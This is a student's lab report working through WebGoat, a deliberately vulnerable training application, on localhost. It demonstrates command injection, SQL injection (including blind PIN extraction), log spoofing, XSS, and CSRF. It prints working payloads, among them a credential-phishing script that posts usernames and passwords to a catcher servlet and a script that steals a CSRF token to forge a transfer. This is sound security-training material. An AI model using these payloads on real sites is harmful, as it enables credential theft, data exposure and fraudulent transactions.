2017-2018-2 20155315《网络对抗技术》Exp9 ：Web安全基础

实验目的

理解常用网络攻击技术的基本原理。

• 教程1
• 教程2
• 教程3

实验内容

• SQL注入攻击
• XSS攻击
• CSRF攻击

Webgoat前期准备

• 从GitHub上下载jar包
• 拷贝到本地，并使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat，出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功，可以看到占用8080端口，实验过程中不能关闭终端
• 打开浏览器输入127.0.0.1:8080/WebGoat，使用默认名和密码登录
• 在Webgoat中，solution是答案，hints是提示。打开界面，可以看到有一连串的课程。
• 每完成一项课程就会有一个小对勾

（一）SQL注入攻击

选择Injection Flaws开始实践

命令注入：Command Injection

命令注入攻击是对任何参数驱动的站点的严重威胁。

• 查看hints：使用系统命令获取文件的内容
• 也就是说这个操作是要向操作系统注入命令
• 以ps -ef为例，获取进程信息
• 我们在页面的源代码中加入我们的命令：在源代码中找到"Backdoors.help"，在其后加上"& ps -ef
• 保存后下拉框中可以看到我们刚刚修改的选项，点击view，可以看到进程信息

数字型注入：Numeric SQL Injection

• 能看到给出的界面中显示了一条SQL语句SELECT * FROM weather_data WHERE station = ?，使用数字型SQL注入，可以在网页源代码中的选项后面加上or 1=1，这样就可以获得所有地区的天气信息了。
• 还可用purpsutie抓包修改参数。
• 打开purpsuite，点击Proxy->Options->Add添加一个监听端口，添加成功后运行
• 点击浏览器中的preferences->Advanced->Network->Connection->settings->Manual proxy configuration:设置成刚刚绑定的端口号。
• 接着在之前的课程页面上点击GO，在purpsuite->Proxy->Intercept可以看到捕获的包
• 右键选择send to repeater，点击Repeater ->Params可看到station的值为101，修改为“101 or 1=1”，点击GO，再点击Intercept is on ，这时可看到显示所有地区天气信息

日志欺骗：Log Spoofing

• 顾名思义，就是添加假的日志信息来迷惑操作系统，目的是让用户名“admin”成功登录。
• 在User Name输入zyl%0d%0aLogin Succeeded for username: admin，%0d是空格，%0a是换行
• 点击登录出现两行，一行提示zyl登录失败，另一行提示admin登录成功，这些信息就会被保存到日志里了。

字符串注入：String SQL Injection

下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串，导致显示所有信用卡号。尝试用户名“史密斯”。

• 和数字型一样，我们的目的是构建一个永真式，由于字符串在数据库中是由'构成的，我们在last name中输入Smith' OR '1'='1所有的用户信息被输出

实验室stage1：String SQL Injection

• 目的是在不知道密码的情况下登录账户Neville
• 在密码框中输入' or 1=1 --
• 登录失败，查看网页源代码，发现对密码框有长度限制。将长度改为20再试一次，成功了。

实验室stage3：Numeric SQL Injection

• 目的是用员工的账户登录，浏览boss的账户
• 首先用Larry的账号登录，使用' or 1=1 --作为密码
• 点击ViewProfile可以查看用户信息，那么我们要做的，就是点击这个按钮后跳转到boss的信息。
• 查看网页源代码，可以看到索引的依据是员工ID，可是我们不知道老板的ID怎么办？数据库中可以使用排序来筛选信息，而老板一般工资都是最高的，将id的value改成101 or 1=1 order by salary desc --

数据库后门：Database Backdoors

• 根据提示，输入id为101
• 我们可以看到插入查询语句的字符串没有经过任何处理，可以输入多条语句进行增、删、改、查

数字型盲注入：Blind Numeric SQL Injection

• 目的是知道pin在pins 表里的值，先尝试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100，显示数是合法的；再用500、1000、5000尝试，发现pin应该是小于5000的
• 不断用二分法进行测试，发现pin为2364

字符串盲注入：Blind String SQL Injection

• 目的依旧是要知道pin的值
• 输入101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );出错，把1换成2101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );，不断尝试，结果为Jill

（二）XSS攻击

选择Cross-Site Scripting (XSS)开始实践

网络钓鱼XSS：Phishing with XSS

使用XSS和HTML插入，您的目标是：
将html插入该请求凭据，添加javascript以实际收集凭据，将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…，要通过本课程，凭证必须发布到捕获者servlet。

• 根据要求，我们编写代码，设计一个简单的登录界面获取用户名和密码并发送到指定地方

  <script>
  function log(){ 
  alert("Had this been a real attack... Your credentials were juststolen. User Name = " + document.forms[1].user.value + "Password =" + document.forms[1].pass.value); 
  XSSImage=new Image(); 
  XSSImage.src="catcher?PROPERTY=yes&user="+document.forms[1].user.value+ "&password=" + document.forms[1].pass.value + "";
  }
  </script>
  <form><br><br>
  <HR>
  <H3>This featurerequires account login:</H3 >
  <br>
  <br>EnterUsername:<br>
  <input type="text" id="user"name="user">
  <br>Enter Password:<br>
  <inputtype="password" name = "pass"><br>
  <inputtype="button" name="login" value="login" onclick="log()">
  </form>
  <br><br><HR>
  

• 点击搜索，看到下面有个登录界面，登录提示

存储型XSS攻击：Stored XSS Attacks

• 这种攻击常见于论坛等留言平台，用户留言的时候输入一段JavaScript脚本，这段脚本就会被保存在数据库中。因为是留言，所以任何用户在打开网页的时候，这个脚本就会被从数据库中取出来而运行
• 根据题目要求，在留言板中输入<script>alert("You've been attacked!!!");</script>
• 其他用户登录界面的时候点击刚刚提交的留言，弹框提示

反射型XSS攻击：Reflected XSS Attacks

发出请求时，XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS随响应内容一起返回给浏览器，最后浏览器解析执行XSS代码

• 就像上一个实验直接在输入框中输入代码一样，反射型XSS是不持久的，在提交到后台的过程中输入的JavaScript脚本就会被执行
• 同样输入弹窗代码<script>alert("You've been attacked!!!");</script>，点击purse的同时页面就给出了反馈

（三）CSRF攻击

跨站脚本攻击：Cross Site Request Forgery

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像，其URL指向恶意请求。 在本课中，URL应该指向“攻击”servlet，其中包含课程的“屏幕”和“菜单”参数，以及具有任意数值的额外参数“transferFunds”（如5000）。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。

• 也就是说，要发送一个有恶意图片的电子邮件，目的是要转走用户的钱。
• 在消息框中输入<img src="attack?Screen=277&menu=900&transferFunds=5000"/>，成功看到左边多了一个小绿√
• 可以在当前页面的下边的Parameters中查看creen和menu的值

XSS提升：CSRF Prompt By-Pass

• 和上一个实验差不多，多了一个确认转账的任务
• 输入代码

  <img src="attack?Screen=279&menu=900&transferFunds=5000"> 
  <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
  

• 点击提交、查看留言、转账并确认

CSRF令牌攻击：CSRF Token By-Pass

类似于CSRF课程，您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成，您需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面，读取令牌，并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时，刷新页面，您将在左侧菜单中找到绿色检查。

• 在前面实验的基础上，使用令牌传输数据
• 输入代码

  <script>
  var readToken = function(){
  var doc = document.getElementById("frame1").contentDocument
  var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
  alert(token);
  var frame2 = document.getElementById("frame2");
  frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token;
  }
  </script>
  <iframe id="frame2" ></iframe>
  <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
  

• 按之前的步骤操作

实验问题回答

• SQL注入攻击原理，如何防御
  • 程序对用户输入数据的合法性没有判断就直接插入查询语句，攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
    • 对输入的字符串进行处理，筛除特殊字符
    • 普通用户与系统管理员用户的权限要有严格的区分
• XSS攻击的原理，如何防御
  • 用户在输入框输入JavaScript代码，提交的时候直接执行，有办法获得网站的cookie
    • 表单提交的时候进行特殊字符的检测
    • 对输入框做长度限制
    • 在后台对数据进行过滤
• CSRF攻击原理，如何防御
  • CSRF是跨站脚本攻击，就是在用户的浏览器中执行攻击者的脚本，来获得其cookie等信息。一般存在XSS漏洞的网站，也极有可能存在CSRF漏洞。
    • 使用token:每一个网页包含一个web server产生的token, 提交时，也将该token提交到服务器，服务器进行判断，如果token不对，就判定位CSRF攻击。
    • 将提交方法改为post
    • 定期清理cookie
    • 使用随机数对表单中的值进行验证

实验总结

这是最后一个实验了，做完特别有成就感。每次实验做完之后都一直想要更深入地实践一下，但是又特别怕自己技艺不精搞坏了，这次实验提供了一个可以让我们随时练习的平台，也通过实例让我们在平时生活中能更注意一下容易被攻击的细节。

参考资料

• webgoat实战指南